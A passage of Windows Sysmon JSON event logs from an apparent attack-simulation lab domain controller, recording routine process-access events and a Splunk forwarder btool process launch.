11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1945,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1946,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1947,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1948,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.219\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE8-5F2D-0000-00106C3E0300}\r\nTargetProcessId: 4024\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.219","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE8-5F2D-0000-00106C3E0300}","TargetProcessId":"4024","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1949,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.222\r\nProcessGuid: {90617006-3FE8-5F2D-0000-00102E3F0300}\r\nProcessId: 4004\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list general --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-3FE8-5F2D-0000-00106C3E0300}\r\nParentProcessId: 4024\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nParentCommandLine: btool server list general --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.222","ProcessGuid":"{90617006-3FE8-5F2D-0000-00102E3F0300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list general --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-3FE8-5F2D-0000-00106C3E0300}","ParentProcessId":"4024","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","ParentCommandLine":"btool server list general --no-log","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1950,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.219\r\nSourceProcessGUID: {90617006-3FE8-5F2D-0000-00106C3E0300}\r\nSourceProcessId: 4024\r\nSourceThreadId: 4056\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nTargetProcessGUID: {90617006-3FE8-5F2D-0000-00102E3F0300}\r\nTargetProcessId: 4004\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.219","SourceProcessGUID":"{90617006-3FE8-5F2D-0000-00106C3E0300}","SourceProcessId":"4024","SourceThreadId":"4056","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","TargetProcessGUID":"{90617006-3FE8-5F2D-0000-00102E3F0300}","TargetProcessId":"4004","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1951,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.219\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE8-5F2D-0000-00102E3F0300}\r\nTargetProcessId: 4004\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.219","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE8-5F2D-0000-00102E3F0300}","TargetProcessId":"4004","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1952,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.219\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.219","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1953,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.219\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 